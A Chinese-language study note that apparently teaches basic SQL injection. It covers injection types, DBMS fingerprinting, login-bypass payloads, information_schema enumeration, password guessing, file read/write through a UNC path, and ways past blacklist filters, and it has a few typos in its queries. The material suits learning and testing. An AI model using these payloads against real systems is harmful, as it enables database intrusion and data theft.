最基本的SQL注入知识点~
SQL注入原因
动态执行SQL语句时,把数据当做了代码执行。
语句复习
查询语句
1 | SELECT * from tbname; |
插入语句
1 | INSERT into tbname(col2,col3) values(1,'hia'); |
修改语句
1 | UPDATE tbname set col2 = 2 where id>3; |
删除语句
1 | delete from tbname where id is null; |
表相关
1 | drop table tb1; |
运算符
名称 | 运算符 |
---|---|
比较 | =,<=>,>,>=,<,<=,<>,!= |
谓词 | IS [NOT] NULL, [NOT] BETWEEN AND, [NOT] IN, LIKE, REGEXP |
逻辑 | NOT,AND,OR,XOR !,&&,(双竖线) |
集函数 | COUNT(),SUM(),MIX(),MAX(),AVG() |
位运算 | &,^,<<,>>,~ |
函数复习
database(),version(),user(),@@datadir,@@hostname,@@version_compile_os,char(1),concat (,’:’,),md5(d),substring_index(user(),”@”,1)—
mysql命令
1 | net start/stop MySQL #启动/关闭MySQL服务 |
登录参数:
1 | -D |
数据与代码的边界
数值型:
空格等
字符型:
单引号
发现SQL注入漏洞
因为漏洞是数据被当做代码执行了,所以提交的数据被执行就证明漏洞存在,可分为两种:
代码语法错误:
例如单引号未闭合,列数,数据类型不匹配
代码语法正确:
合法正确的输入替换等效的SQL表达式,例如 替换3为 1+2 ,插入and 1=1 ,使用’ab’ ‘cd’连接字符串等,也有基于时间的判断,例如执行sleep语句
注入技术
1、基于布尔的盲注,即可以根据返回页面判断条件(真|假)的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。(使用;分隔开多条语句,最为灵活,可以自己构造select(含)外的其他语句)
6、二阶注入,第一次的输入被过滤,第二次的查询用到了第一次存储的受污染的代码
识别DBMS
根据错误
不同的DBMS错误不同。
时间延迟
平台 | 时间延迟 |
---|---|
SQL Server | WAITFOR DELAY ‘0:0:10’; |
Oracle | SELECTE UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual; |
MySQL | BENCHMARK(1000000,MDS(‘HIAHIAHIA’)); SLEEP(10); |
Postgresql | SELECTE pg_sleep(10); |
方言差异
平台 | 连接符 | 行注释 | 默认表,变量,函数 |
---|---|---|---|
SQL Server | ‘A’+’B’ | -- | @@PACK_RECEIVED |
Oracle | ‘A’(双竖线)’B’ | -- | BITAND(1,1) |
MySQL | ‘A’ ’B’ | # – | CONNECTION_ID() |
Postgresql | ‘A’(双竖线)’B’ | – | getpgusername() |
DB2 | ‘A’ concat ‘B’ | – | Sysibm.systables |
ACCESS | ‘A’&’B’ | msysobjects |
利用漏洞
注入方式
内联注入:$a= admin' or '1'='1/* $b=*/
1 | SELECT * FROM dvwa.users where last_name='$a' and first_name='$b'; |
终止注入:$a= admin'#
1 | SELECT * FROM dvwa.users where last_name=''and first_name='$b'; |
摸清注入点语句结构
通过order by/group by语句或者多次union select尝试发现列数,通过使用特定不可转换数据类型来确定原位置的数据类型
摸清数据库,表结构
Root权限可以直接从mysql表获取信息,高版本的MySQL用户可以使用information_schema库查看权限范围内的信息
当前数据库
1 | SELECT database(); |
列出数据库
1 | SELECT schema_name FROM information_schema.schemata; |
列出表
1 | 列出当前数据库的表:SELECT table_name FROM information_schema.tables where table_schema=database(); |
列出列
列出正常的所有列:
1 | SELECT table_schema , table_name,column_name FROM information_schema.columns where table_schema!='information_schema' and table_schema!='mysql' and table_schema!='performance_schema'; |
列出当前数据库的列:
1 | SELECT table_schema , table_name,column_name FROM information_schema.columns where table_schema=database(); |
获取系统信息
数据 | 查询 |
---|---|
版本 | SELECT @@version; |
当前用户 | SELECT user(); SELECT system_user(); |
列出用户 | SELECT user FROM mysql.user; |
当前用户权限 | SELECT * from mysql.user; SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges; |
### 盲注获取 | |
数据 | 查询 |
————– | ———————————————————- |
字符串长度 | SELECT length(‘hiagagaga123’); |
提取子串 | SELECT substr(‘hiagagaga123’,2,6); |
不带’’表达式 | SELECT char(65,66,67); SELECT 0x637364637364; |
时间延迟 | SELECT benchmark(10000000,md5(‘ssss’)); SELECT sleep(5); |
If语句 | SELECT if(1=2,’a’,’b’); |
盲注优化方法:枚举,二分查找,优化二分查找,位并发判定
危险语句获取
UPDATE,INSERT等语句存在漏洞
情况一:插入更改可见,可以使用’str1’ ’str2’方式连接数据,也可以使用注释
情况二:插入更改不可见
通过外层错误内层布尔获取,例如insert中一个注入点使用union select返回两行数据,另一个注入点使用子查询等,通过时间来获取数据,或是使用if语句
完全猜测
我们的目的是搞清楚数据库的结构并且得到里面的内容,当权限足够高时可以直接查看information_schema或者用其他命令。但是,当权限低,不能使用order by 和union,不能查看information_schema时,还可以可以曲线破解
1:猜测当前表名:
因为执行查询语句时会自动匹配当前表,所以可以先猜列名'and column is null--
这里假设有这个字段,如果没有就会报错显示没有该字段,然后不停重复猜解当找到一个字段名了,就可以猜测那个字段所在的表名
2:猜测当前数据库名:'and table.column is null--
因为已经知道column是一定存在的,如果整个显示不存在就说明表不存在,否则就是这个字段在这个表里是有的,也就是得到表名
【注意,可能同样名字的字段会属于多个表,例如有的网站的管理员和普通用户会使用不同的表但是字段是一样的】
3:猜测其他的数据表:'and (select count(*) from tbname)>0--
这是and后面那个是计算表里面的记录数,只要大于1就说明那个表里一定有数据,因此这个表就一定存在,因为会自动补全库名,所以可以通过这个来猜解表名
4:查列表对应关系'and tbname.columnname is null--
这个和2类似,只有匹配时才会显示真
5:猜字段内容:'or user='admin
如果这个字段存在就会返回相应的内容,否则就没有返回'or user like ' %a%
这个跟上一个差不多,%可以看做通配符
6:猜密码:'or user='admin' and password='dsahxsiuaxs
和上一个同样的道理
文件与系统
数据 | 语句 |
---|---|
写文件 | 文本文件: SELECT ‘system’ INTO OUTFILE ‘hiahiahia.txt’; 二进制文件: SELECT ‘system’ INTO DUMPFILE ‘hiahiahia.txt’; |
读文件 | SELECT LOAD_FILE(‘F:\\CloudMusic\\MySQL\\data\\dvwa\\db.opt’);SELECT LOAD_FILE(‘//192.168.1.12/hia.txt’); |
在此可使用UNC,外通道等方式进行数据传输
绕过过滤
过滤发生的地方是进入MySQL之前,我们要做的事是在进入MySQL之前绕过但是在MySQL中能正常执行。
如图,对于WAF一般都是判断注入语句有没被拦截
PHP段一般两种方法:
基于黑名单的正则匹配
基于黑名单的转义过滤
我们的工作是使语句与黑名单不匹配但是到MySQL执行时又是正常的!于是套路就是编码(宽字符吃斜杠),大小写混杂,MySQL特性(/**/几大特性),空字符,用变量打乱语句顺序,截断方法吃掉一个’,同义替换,二阶注入。。。
参考
阮一峰:http://www.cnblogs.com/skynet/archive/2011/05/03/2035105.html
http://www.ruanyifeng.com/about.html
伯乐在线:http://blog.jobbole.com/84903/
一个博客:http://www.cnblogs.com/skynet/archive/2011/05/03/2035105.html
Freebuf: http://www.freebuf.com/articles/web/31537.html
《SQL注入攻击与防御》